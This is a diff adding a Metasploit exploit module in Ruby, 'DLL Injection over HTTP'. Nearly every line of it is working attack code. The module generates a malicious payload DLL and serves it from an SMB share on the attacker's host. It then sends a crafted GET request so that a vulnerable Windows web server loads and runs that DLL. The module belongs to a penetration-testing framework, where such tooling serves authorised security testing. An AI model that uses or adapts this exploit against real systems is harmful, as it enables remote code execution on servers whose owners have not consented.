|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +# This is an example implementation of using the Msf::Exploit::Remote::SMBFileServer module |
| 7 | +# to perform an arbitrary DLL injection over SMB |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Exploit::Remote |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::Remote::SMBFileServer |
| 14 | + include Msf::Exploit::EXE |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'DLL Injection over HTTP', |
| 19 | + 'Description' => %q{ |
| 20 | + This is an example implementation of using the SMBFileServer module |
| 21 | + to perform DLL injection over SMB via an webserver which |
| 22 | + will arbitrarily load a DLL given as an argument (Yes, these exist IRL). |
| 23 | + }, |
| 24 | + 'Author' => [ |
| 25 | + 'Matthew Hall <[email protected]>', |
| 26 | + ], |
| 27 | + 'Platform' => 'win', |
| 28 | + 'Privileged' => true, |
| 29 | + 'Arch' => ARCH_X86, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'URL', 'http://www.sec-1.com/blog/'], |
| 33 | + ], |
| 34 | + 'DefaultOptions' => |
| 35 | + { |
| 36 | + 'EXITFUNC' => 'thread', |
| 37 | + }, |
| 38 | + 'Privileged' => true, |
| 39 | + 'Platform' => [ 'win'], |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
| 43 | + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0, # Default target is 32-bit as we usually inject into 32bit processes |
| 46 | + )) |
| 47 | + register_options( |
| 48 | + [ |
| 49 | + OptString.new('UNCPATH', [false, 'Override the UNC path to use an existing SMB Server(Ex: \\\\192.168.1.1\\share\\exploit.dll)' ]), |
| 50 | + OptString.new('URI', [true, 'Path to vulnerable URI (last argument will be the location of the file shared)', '/path/to/vulnerable/function.ext?argument=' ]), |
| 51 | + OptBool.new('StripExt', [false, 'Boolean to whether I should strip the file extension (e.g. foo.dll => foo)', true]), |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + def start_server |
| 56 | + if (datastore['UNCPATH']) |
| 57 | + @unc = datastore['UNCPATH'] |
| 58 | + print_status("Remember to share the malicious DLL payload as #{@unc}") |
| 59 | + else |
| 60 | + print_status("Generating our malicious dll...") |
| 61 | + exe = generate_payload_dll |
| 62 | + |
| 63 | + @exe_file = rand_text_alpha(7) + ".dll" |
| 64 | + @share = rand_text_alpha(5) |
| 65 | + |
| 66 | + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] |
| 67 | + @unc = "\\\\#{my_host}\\#{@share}\\#{@exe_file}" |
| 68 | + vprint_status("About to start SMB Server on: " + @unc) |
| 69 | + # start_smb_server('UNC Path', 'Payload', 'Name of file to be served') |
| 70 | + start_smb_server(@unc, exe, @exe_file) |
| 71 | + end |
| 72 | + end |
| 73 | + |
| 74 | + def exploit |
| 75 | + start_server |
| 76 | + if datastore['StripExt'] |
| 77 | + share = "#{@unc}".gsub(/\.dll/,'') |
| 78 | + else |
| 79 | + share = "#{@unc}" |
| 80 | + end |
| 81 | + print_status("Injecting DLL to #{datastore['RHOST']}:#{datastore['RPORT']} - #{share}") |
| 82 | + |
| 83 | + sploit = datastore['URI'] |
| 84 | + sploit << share |
| 85 | + |
| 86 | + res = send_request_raw({ |
| 87 | + 'method' => 'GET', |
| 88 | + 'uri' => sploit |
| 89 | + }, 5) |
| 90 | + |
| 91 | + handler |
| 92 | + end |
| 93 | +end |
0 commit comments